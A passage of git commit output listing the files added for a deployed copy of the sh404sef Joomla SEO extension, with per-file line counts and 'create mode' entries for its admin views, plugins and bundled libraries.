+ .../views/analytics/tmpl/default_j2.full.php | 86 + .../views/analytics/tmpl/default_j2.php | 17 + .../analytics/tmpl/default_j2_dashboard.php | 17 + .../analytics/tmpl/default_j2_filters.php | 28 + .../analytics/tmpl/default_j2_global.php | 168 + .../analytics/tmpl/default_j2_headers.php | 44 + .../views/analytics/tmpl/default_j2_perf.php | 69 + .../analytics/tmpl/default_j2_sources.php | 35 + .../tmpl/default_j2_top5referrers.php | 107 + .../analytics/tmpl/default_j2_top5urls.php | 98 + .../analytics/tmpl/default_j2_topsocialfb.php | 122 + .../tmpl/default_j2_topsocialpinterest.php | 107 + .../tmpl/default_j2_topsocialplusone.php | 119 + .../tmpl/default_j2_topsocialplusonepage.php | 108 + .../tmpl/default_j2_topsocialtweeter.php | 107 + .../analytics/tmpl/default_j2_visits.php | 47 + .../views/analytics/tmpl/default_j3.full.php | 69 + .../views/analytics/tmpl/default_j3.php | 17 + .../analytics/tmpl/default_j3_dashboard.php | 17 + .../analytics/tmpl/default_j3_filters.php | 31 + .../analytics/tmpl/default_j3_global.php | 150 + .../analytics/tmpl/default_j3_headers.php | 43 + .../views/analytics/tmpl/default_j3_perf.php | 47 + .../analytics/tmpl/default_j3_sources.php | 29 + .../tmpl/default_j3_top5referrers.php | 96 + .../analytics/tmpl/default_j3_top5urls.php | 88 + .../analytics/tmpl/default_j3_topsocialfb.php | 111 + .../tmpl/default_j3_topsocialpinterest.php | 97 + .../tmpl/default_j3_topsocialplusone.php | 109 + .../tmpl/default_j3_topsocialplusonepage.php | 95 + .../tmpl/default_j3_topsocialtweeter.php | 95 + .../analytics/tmpl/default_j3_visits.php | 36 + .../views/analytics/tmpl/index.html | 1 + .../views/analytics/view.html.full.php | 135 + .../views/analytics/view.html.php | 17 + .../com_sh404sef/views/analytics/view.raw.php | 67 + .../views/configuration/tmpl/close_j2.php | 23 + .../views/configuration/tmpl/close_j3.php | 22 + .../views/configuration/tmpl/default_j2.php | 137 + .../views/configuration/tmpl/default_j3.php | 167 + .../configuration/tmpl/default_j3_404.php | 34 + .../tmpl/default_j3_by_component.php | 57 + .../configuration/tmpl/default_j3_default.php | 27 + .../tmpl/default_j3_permissions.php | 38 + .../configuration/tmpl/qcontrol_j2.full.php | 153 + .../views/configuration/tmpl/qcontrol_j2.php | 17 + .../configuration/tmpl/qcontrol_j3.full.php | 108 + .../views/configuration/tmpl/qcontrol_j3.php | 17 + .../views/configuration/tmpl/refresh_j3.php | 18 + .../views/configuration/view.html.php | 67 + .../views/configuration/view.raw.php | 132 + .../com_sh404sef/views/confirm/index.html | 1 + .../views/confirm/tmpl/default_j2.php | 170 + .../views/confirm/tmpl/default_j3.php | 94 + .../views/confirm/tmpl/index.html | 1 + .../views/confirm/tmpl/refresh_j3.php | 17 + .../com_sh404sef/views/confirm/view.html.php | 122 + .../com_sh404sef/views/confirm/view.raw.php | 33 + .../com_sh404sef/views/default/index.html | 1 + .../views/default/tmpl/default_j2.php | 207 + .../views/default/tmpl/default_j3.php | 242 ++ .../views/default/tmpl/index.html | 1 + .../views/default/tmpl/info_j2.php | 34 + .../views/default/tmpl/info_j3.php | 35 + .../views/default/tmpl/secstats_j2.full.php | 73 + .../views/default/tmpl/secstats_j2.php | 17 + .../views/default/tmpl/secstats_j3.full.php | 76 + .../views/default/tmpl/secstats_j3.php | 17 + .../views/default/tmpl/updates_j2.php | 94 + .../views/default/tmpl/updates_j3.php | 96 + .../views/default/view.html.full.php | 212 + .../com_sh404sef/views/default/view.html.php | 17 + .../com_sh404sef/views/default/view.raw.php | 181 + .../com_sh404sef/views/duplicates/index.html | 1 + .../views/duplicates/tmpl/default_j2.full.php | 228 ++ .../views/duplicates/tmpl/default_j2.php | 17 + .../duplicates/tmpl/default_j2_filters.php | 39 + .../views/duplicates/tmpl/default_j3.full.php | 198 + .../views/duplicates/tmpl/default_j3.php | 17 + .../views/duplicates/tmpl/index.html | 1 + .../views/duplicates/tmpl/refresh_j3.php | 17 + .../views/duplicates/view.html.full.php | 167 + .../views/duplicates/view.html.php | 17 + .../com_sh404sef/views/editalias/index.html | 1 + .../views/editalias/tmpl/index.html | 1 + .../views/editalias/tmpl/refresh.php | 18 + .../com_sh404sef/views/editalias/view.raw.php | 33 + .../views/editnotfound/index.html | 1 + .../views/editnotfound/tmpl/default_j2.php | 140 + .../editnotfound/tmpl/default_j2_redirect.php | 33 + .../views/editnotfound/tmpl/default_j3.php | 75 + .../views/editnotfound/tmpl/index.html | 1 + .../views/editnotfound/view.html.php | 119 + .../views/editnotfound/view.raw.php | 33 + .../com_sh404sef/views/editurl/index.html | 1 + .../views/editurl/tmpl/close_j3.php | 22 + .../views/editurl/tmpl/default_j2.php | 151 + .../editurl/tmpl/default_j2_aliases.full.php | 28 + .../views/editurl/tmpl/default_j2_aliases.php | 17 + .../editurl/tmpl/default_j2_seo.full.php | 92 + .../views/editurl/tmpl/default_j2_seo.php | 17 + .../tmpl/default_j2_social_seo.full.php | 135 + .../editurl/tmpl/default_j2_social_seo.php | 17 + .../editurl/tmpl/default_j2_url.full.php | 121 + .../views/editurl/tmpl/default_j2_url.php | 17 + .../views/editurl/tmpl/default_j3.php | 129 + .../editurl/tmpl/default_j3_aliases.full.php | 30 + .../views/editurl/tmpl/default_j3_aliases.php | 17 + .../editurl/tmpl/default_j3_seo.full.php | 66 + .../views/editurl/tmpl/default_j3_seo.php | 17 + .../tmpl/default_j3_social_seo.full.php | 170 + .../editurl/tmpl/default_j3_social_seo.php | 17 + .../editurl/tmpl/default_j3_url.full.php | 86 + .../views/editurl/tmpl/default_j3_url.php | 17 + .../views/editurl/tmpl/index.html | 1 + .../views/editurl/tmpl/refresh_j3.php | 18 + .../views/editurl/view.html.full.php | 276 ++ .../com_sh404sef/views/editurl/view.html.php | 17 + .../com_sh404sef/views/editurl/view.raw.php | 33 + .../components/com_sh404sef/views/index.html | 1 + .../com_sh404sef/views/metas/index.html | 1 + .../views/metas/tmpl/default_j2.full.php | 178 + .../views/metas/tmpl/default_j2.php | 17 + .../views/metas/tmpl/default_j2_filters.php | 46 + .../views/metas/tmpl/default_j3.full.php | 202 + .../views/metas/tmpl/default_j3.php | 17 + .../com_sh404sef/views/metas/tmpl/index.html | 1 + .../views/metas/view.html.full.php | 335 ++ .../com_sh404sef/views/metas/view.html.php | 17 + .../com_sh404sef/views/metas/view.raw.php | 33 + .../com_sh404sef/views/notfound/index.html | 1 + .../views/notfound/tmpl/default_j2.php | 226 ++ .../notfound/tmpl/default_j2_filters.php | 42 + .../views/notfound/tmpl/default_j3.php | 196 + .../views/notfound/tmpl/index.html | 1 + .../views/notfound/tmpl/refresh_j3.php | 17 + .../com_sh404sef/views/notfound/view.html.php | 259 ++ .../com_sh404sef/views/notfound/view.raw.php | 33 + .../com_sh404sef/views/pageids/index.html | 1 + .../views/pageids/tmpl/default_j2.full.php | 172 + .../views/pageids/tmpl/default_j2.php | 17 + .../views/pageids/tmpl/default_j2_filters.php | 46 + .../views/pageids/tmpl/default_j3.full.php | 211 + .../views/pageids/tmpl/default_j3.php | 16 + .../views/pageids/tmpl/index.html | 1 + .../views/pageids/view.html.full.php | 275 ++ .../com_sh404sef/views/pageids/view.html.php | 17 + .../com_sh404sef/views/pageids/view.raw.php | 33 + .../com_sh404sef/views/urls/helpers.php | 18 + .../com_sh404sef/views/urls/index.html | 1 + .../views/urls/tmpl/default_j2.php | 199 + .../views/urls/tmpl/default_j2_filters.php | 66 + .../views/urls/tmpl/default_j3.php | 332 ++ .../com_sh404sef/views/urls/tmpl/index.html | 1 + .../views/urls/tmpl/view404_j2.full.php | 132 + .../views/urls/tmpl/view404_j2.php | 17 + .../views/urls/tmpl/view404_j2_filters.php | 27 + .../views/urls/tmpl/view404_j3.full.php | 191 + .../views/urls/tmpl/view404_j3.php | 17 + .../views/urls/view.html.full.php | 443 +++ .../com_sh404sef/views/urls/view.html.php | 181 + .../com_sh404sef/views/urls/view.raw.php | 33 + .../com_sh404sef/views/wizard/index.html | 1 + .../views/wizard/tmpl/default_j2.php | 192 + .../views/wizard/tmpl/default_j3.php | 102 + .../com_sh404sef/views/wizard/tmpl/index.html | 1 + .../com_sh404sef/views/wizard/view.html.php | 172 + .../com_sh404sef/views/wizard/view.raw.php | 33 + .../modules/mod_sh404sef_cpicon/index.html | 1 + .../mod_sh404sef_cpicon.php | 39 + .../mod_sh404sef_cpicon.xml | 34 + .../modules/mod_sh404sef_cpicon/styles.css | 46 + .../mod_sh404sef_cpicon/tmpl/default_j2.php | 34 + .../mod_sh404sef_cpicon/tmpl/default_j3.php | 31 + .../components/com_sh404sef/cache/index.html | 1 + ...ntent.02d49a3aafc62f9ee0bccaa9e183178e.php | 178 + ...ntent.d5dde3116a272763f3290493fc57fa14.php | 105 + ...ntent.efec898659ae35934839e1b0fbdf1de7.php | 1766 +++++++++ ...ntent.ff597811990a30e840dc472723de9475.php | 1578 ++++++++ .../com_sh404sef/images/external-black.png | Bin 0 -> 3621 bytes .../com_sh404sef/images/external-white.png | Bin 0 -> 3630 bytes .../components/com_sh404sef/index.html | 1 + .../com_sh404sef/meta_ext/com_content.php | 266 ++ .../sample-404-Not-Found.tpl.html | 34 + .../components/com_sh404sef/sef_ext.php | 810 ++++ .../com_sh404sef/sef_ext/com_banners.php | 26 + .../com_sh404sef/sef_ext/com_community.php | 963 +++++ .../com_sh404sef/sef_ext/com_comprofiler.php | 337 ++ .../com_sh404sef/sef_ext/com_contact.php | 180 + .../com_sh404sef/sef_ext/com_content.php | 198 + .../com_sh404sef/sef_ext/com_hotproperty.php | 338 ++ .../com_sh404sef/sef_ext/com_kunena.php | 1004 +++++ .../com_sh404sef/sef_ext/com_letterman.php | 66 + .../com_sh404sef/sef_ext/com_magazine.php | 135 + .../com_sh404sef/sef_ext/com_mtree.php | 619 +++ .../com_sh404sef/sef_ext/com_myblog.php | 214 + .../com_sh404sef/sef_ext/com_newsfeeds.php | 110 + .../com_sh404sef/sef_ext/com_search.php | 73 + .../com_sh404sef/sef_ext/com_users.php | 112 + .../com_sh404sef/sef_ext/com_virtuemart.php | 257 ++ .../com_sh404sef/sef_ext/com_weblinks.php | 162 + .../com_sh404sef/sef_ext/com_wrapper.php | 43 + .../sef_ext/sample_com_plugin.php | 84 + .../components/com_sh404sef/sh404sef.php | 17 + .../components/com_sh404sef/shCache.php | 454 +++ .../com_sh404sef/shPageRewrite.full.php | 1210 ++++++ .../components/com_sh404sef/shPageRewrite.php | 15 + .../components/com_sh404sef/shSec.php | 577 +++ .../sh404sef/media/com_sh404sef/index.html | 1 + .../media/com_sh404sef/pinterest/index.html | 1 + .../media/com_sh404sef/pinterest/pinit.html | 189 + .../media/com_sh404sef/pinterest/pinit.js | 3 + .../media/com_sh404sef/pinterest/pinit6.png | Bin 0 -> 3970 bytes deployed/sh404sef/media/plg_shlib/css/bs.css | 647 +++ .../sh404sef/media/plg_shlib/css/index.html | 1 + .../sh404sef/media/plg_shlib/css/modal.css | 161 + .../sh404sef/media/plg_shlib/css/modalfix.css | 19 + deployed/sh404sef/media/plg_shlib/index.html | 1 + deployed/sh404sef/media/plg_shlib/js/bs.js | 353 ++ .../sh404sef/media/plg_shlib/js/index.html | 1 + .../plugins/installer/sh404sef/index.html | 1 + .../plugins/installer/sh404sef/sh404sef.php | 114 + .../plugins/installer/sh404sef/sh404sef.xml | 16 + .../sh404sefcore/sh404sefanalytics/index.html | 1 + .../sh404sefanalytics/sh404sefanalytics.php | 72 + .../sh404sefanalytics/sh404sefanalytics.xml | 17 + .../sh404sefofflinecode/index.html | 1 + .../sh404sef_offline_template.php | 37 + .../sh404sefofflinecode.php | 119 + .../sh404sefofflinecode.xml | 33 + .../sh404sefsimilarurls/index.html | 1 + .../sh404sefsimilarurls.php | 374 ++ .../sh404sefsimilarurls.xml | 47 + .../sh404sefcore/sh404sefsocial/index.html | 1 + .../sh404sefsocial/sh404sefsocial.js | 170 + .../sh404sefsocial/sh404sefsocial.php | 646 +++ .../sh404sefsocial/sh404sefsocial.xml | 215 + .../sh404sefextplugindefault/index.html | 1 + .../sh404sefextplugindefault.php | 113 + .../sh404sefextplugindefault.xml | 16 + .../plugins/system/sh404sef/index.html | 4 + .../plugins/system/sh404sef/sh404sef.php | 439 +++ .../plugins/system/sh404sef/sh404sef.xml | 16 + .../sh404sef/plugins/system/shlib/index.html | 1 + .../system/shlib/installation.script.php | 168 + .../ZendFramework-1.11.7-minimal/index.html | 1 + .../library/Zendshl/Exception.php | 97 + .../library/Zendshl/Http/Client.php | 1464 +++++++ .../Zendshl/Http/Client/Adapter/Curl.php | 511 +++ .../Zendshl/Http/Client/Adapter/Exception.php | 39 + .../Zendshl/Http/Client/Adapter/Interface.php | 79 + .../Zendshl/Http/Client/Adapter/Proxy.php | 285 ++ .../Zendshl/Http/Client/Adapter/Socket.php | 545 +++ .../Zendshl/Http/Client/Adapter/Stream.php | 47 + .../Zendshl/Http/Client/Adapter/Test.php | 239 ++ .../Zendshl/Http/Client/Adapter/index.html | 1 + .../library/Zendshl/Http/Client/Exception.php | 37 + .../library/Zendshl/Http/Client/index.html | 1 + .../library/Zendshl/Http/Cookie.php | 425 ++ .../library/Zendshl/Http/CookieJar.php | 406 ++ .../library/Zendshl/Http/Exception.php | 37 + .../library/Zendshl/Http/Response.php | 668 ++++ .../library/Zendshl/Http/Response/Stream.php | 236 ++ .../library/Zendshl/Http/Response/index.html | 1 + .../library/Zendshl/Http/UserAgent.php | 854 ++++ .../Zendshl/Http/UserAgent/AbstractDevice.php | 977 +++++ .../library/Zendshl/Http/UserAgent/Bot.php | 131 + .../Zendshl/Http/UserAgent/Checker.php | 78 + .../Zendshl/Http/UserAgent/Console.php | 68 + .../Zendshl/Http/UserAgent/Desktop.php | 57 + .../library/Zendshl/Http/UserAgent/Device.php | 201 + .../library/Zendshl/Http/UserAgent/Email.php | 66 + .../Zendshl/Http/UserAgent/Exception.php | 37 + .../Http/UserAgent/Features/Adapter.php | 40 + .../Features/Adapter/DeviceAtlas.php | 79 + .../UserAgent/Features/Adapter/TeraWurfl.php | 103 + .../UserAgent/Features/Adapter/WurflApi.php | 104 + .../UserAgent/Features/Adapter/index.html | 1 + .../Http/UserAgent/Features/Exception.php | 37 + .../Http/UserAgent/Features/index.html | 1 + .../library/Zendshl/Http/UserAgent/Feed.php | 82 + .../library/Zendshl/Http/UserAgent/Mobile.php | 537 +++ .../Zendshl/Http/UserAgent/Offline.php | 71 + .../library/Zendshl/Http/UserAgent/Probe.php | 82 + .../library/Zendshl/Http/UserAgent/Spam.php | 80 + .../Zendshl/Http/UserAgent/Storage.php | 66 + .../Http/UserAgent/Storage/Exception.php | 38 + .../Http/UserAgent/Storage/NonPersistent.php | 98 + .../Http/UserAgent/Storage/Session.php | 167 + .../Zendshl/Http/UserAgent/Storage/index.html | 1 + .../library/Zendshl/Http/UserAgent/Text.php | 133 + .../Zendshl/Http/UserAgent/Validator.php | 74 + .../library/Zendshl/Http/UserAgent/index.html | 1 + .../library/Zendshl/Http/index.html | 1 + .../library/Zendshl/Loader.php | 330 ++ .../library/Zendshl/Loader/Autoloader.php | 590 +++ .../Zendshl/Loader/Autoloader/Interface.php | 44 + .../Zendshl/Loader/Autoloader/Resource.php | 473 +++ .../Zendshl/Loader/Autoloader/index.html | 1 + .../library/Zendshl/Loader/Exception.php | 36 + .../library/Zendshl/Loader/PluginLoader.php | 485 +++ .../Zendshl/Loader/PluginLoader/Exception.php | 40 + .../Zendshl/Loader/PluginLoader/Interface.php | 76 + .../Zendshl/Loader/PluginLoader/index.html | 1 + .../library/Zendshl/Loader/index.html | 1 + .../library/Zendshl/Uri.php | 208 + .../library/Zendshl/Uri/Exception.php | 38 + .../library/Zendshl/Uri/Http.php | 777 ++++ .../library/Zendshl/Uri/index.html | 1 + .../library/Zendshl/index.html | 1 + .../library/index.html | 1 + .../system/shlib/shl_packages/cache/apc.php | 84 + .../shlib/shl_packages/cache/index.html | 1 + .../shlib/shl_packages/cache/manager.php | 279 ++ .../shlib/shl_packages/cache/memcache.php | 120 + .../shlib/shl_packages/cache/memcached.php | 163 + .../shlib/shl_packages/cache/wincache.php | 85 + .../shlib/shl_packages/db/classes/class.php | 1105 ++++++ .../shl_packages/db/classes/dbrecord.php | 59 + .../shlib/shl_packages/db/classes/index.html | 1 + .../shl_packages/db/exceptions/exception.php | 19 + .../shl_packages/db/exceptions/index.html | 1 + .../shlib/shl_packages/db/helpers/helper.php | 1220 ++++++ .../shlib/shl_packages/db/helpers/index.html | 1 + .../system/shlib/shl_packages/db/index.html | 1 + .../shl_packages/exception/exception.php | 24 + .../shlib/shl_packages/exception/index.html | 1 + .../shlib/shl_packages/html/bses/helper.php | 182 + .../shlib/shl_packages/html/bses/index.html | 1 + .../system/shlib/shl_packages/html/index.html | 1 + .../shlib/shl_packages/html/modals/helper.php | 124 + .../shlib/shl_packages/html/modals/index.html | 1 + .../system/shlib/shl_packages/index.html | 1 + .../shl_packages/mvc/controllers/base.php | 27 + .../shl_packages/mvc/controllers/index.html | 1 + .../system/shlib/shl_packages/mvc/index.html | 1 + .../shlib/shl_packages/mvc/layouts/base.php | 61 + .../shlib/shl_packages/mvc/layouts/file.php | 116 + .../shlib/shl_packages/mvc/layouts/helper.php | 28 + .../shlib/shl_packages/mvc/layouts/index.html | 1 + .../shlib/shl_packages/mvc/layouts/layout.php | 36 + .../shlib/shl_packages/mvc/models/admin.php | 68 + .../shlib/shl_packages/mvc/models/base.php | 68 + .../shlib/shl_packages/mvc/models/form.php | 68 + .../shlib/shl_packages/mvc/models/index.html | 1 + .../shlib/shl_packages/mvc/models/item.php | 68 + .../shlib/shl_packages/mvc/models/list.php | 68 + .../shlib/shl_packages/mvc/views/base.php | 27 + .../shlib/shl_packages/mvc/views/index.html | 1 + .../shl_packages/system/abstractdecorator.php | 78 + .../shlib/shl_packages/system/autoloader.php | 209 + .../shlib/shl_packages/system/convert.php | 81 + .../shlib/shl_packages/system/cycle.php | 112 + .../system/shlib/shl_packages/system/date.php | 312 ++ .../shlib/shl_packages/system/email.php | 132 + .../shlib/shl_packages/system/factory.php | 36 + .../system/shlib/shl_packages/system/http.php | 83 + .../shlib/shl_packages/system/index.html | 1 + .../system/shlib/shl_packages/system/log.php | 326 ++ .../shl_packages/system/resourcemanager.php | 427 ++ .../shlib/shl_packages/system/strings.php | 54 + .../system/shlib/shl_packages/system/xml.php | 54 + .../shl_packages/toolbarbutton/index.html | 1 + .../toolbarbutton/j3popupstandardbutton.php | 89 + .../toolbarbutton/j3popuptoolbarbutton.php | 145 + .../toolbarbutton/j3shajaxtoolbarbutton.php | 113 + .../toolbarbutton/shpopupstandardbutton.php | 90 + .../toolbarbutton/shpopuptoolbarbutton.php | 145 + .../sh404sef/plugins/system/shlib/shlib.php | 113 + .../sh404sef/plugins/system/shlib/shlib.xml | 135 + .../plugins/system/shmobile/index.html | 4 + .../plugins/system/shmobile/shmobile.php | 213 + .../plugins/system/shmobile/shmobile.xml | 33 + 939 files changed, 129760 insertions(+) create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/access.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/acesefinstaller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsga.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsgareportdashboard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportaliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportmetas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportpageids.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/exporturls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportview404.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/importaliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/importpageids.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefmetas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefurls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/importurls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/adapters/joomsefinstaller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/admin.sh404sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/config.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/configuration.community.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/configuration.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/confirm.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_cp.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_editurl.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_urls.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_cp.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_editurl.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_list.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/list.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/css/wizard.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/external-black.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-default.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-locked.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-metas.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-non-default.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-preview.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-user.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-apply.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-cancel-wizard.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-cancel.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-cpanel.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-default.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-delete.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-export.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-frontpage.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-import.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-next.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-previous.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-purge.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-purgeselected.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-save.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-terminate.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-404log.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-aliases.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-analytics.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-cpanel.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-doc.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-errorpage.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-ext.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-facebook.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-metas.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-pageid.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-save.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-sec.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-sefmanager.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-seo.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-sh404sef-logo.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-warning.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/menu-icon-sh404sef.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/sh-ajax-loader-wide.gif create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/images/sh-ajax-loader.gif create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/edit.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_cp.full.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_edit.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j3_cp.full.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/list.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/metas.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/notfound.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/shajax.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/assets/js/urls.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/changelog.log create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baseanalytics.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/basecache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/basecontroller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditcontroller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditmodel.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baseextplugin.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baseinstalladapter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/baselistmodel.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/basemodel.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/basewizcontroller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/config.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/config.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/filecache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/importgeneric.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/pageinfo.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/router.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/shajaxbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/sharedmemorycache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupstandardbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopuptoolbarbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/classes/shrouter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/config.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/config/config.sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/config/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/configuration/config.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/configuration/configuration.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/configuration/edition.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/configuration/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/aliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/analytics.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/configuration.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/default.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/duplicates.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/editalias.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/editnotfound.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/editurl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/metas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/notfound.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/pageids.php create mode 100644 